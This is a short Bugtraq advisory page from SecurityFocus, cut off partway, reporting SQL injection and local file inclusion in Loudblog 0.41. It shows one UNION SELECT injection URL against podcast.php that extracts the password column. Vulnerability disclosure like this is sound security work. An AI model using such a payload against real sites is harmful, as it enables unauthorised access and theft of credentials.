Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs
Name:
Email:
*Note: Email address will appear as "user domain ext" to prevent harvesting.
Subject:
Message:
 
Loudblog 0.41 SQL Injection, Local file read/include Mar 07 2006 05:33PM
tzitaroth gmail com
"Loudblog is a sleek and easy-to-use Content Management System (CMS) for publishing media content on the web."

SQL Injection in podcast.php (magic_quotes=off):
http://[target]/loudblog/podcast.php?id=1' and '1'='0' union select password,null,null,null,null,null,null,null,null,null,null,null,null,nu.
..

[ more ]  




 

Privacy Statement
Copyright 2009, SecurityFocus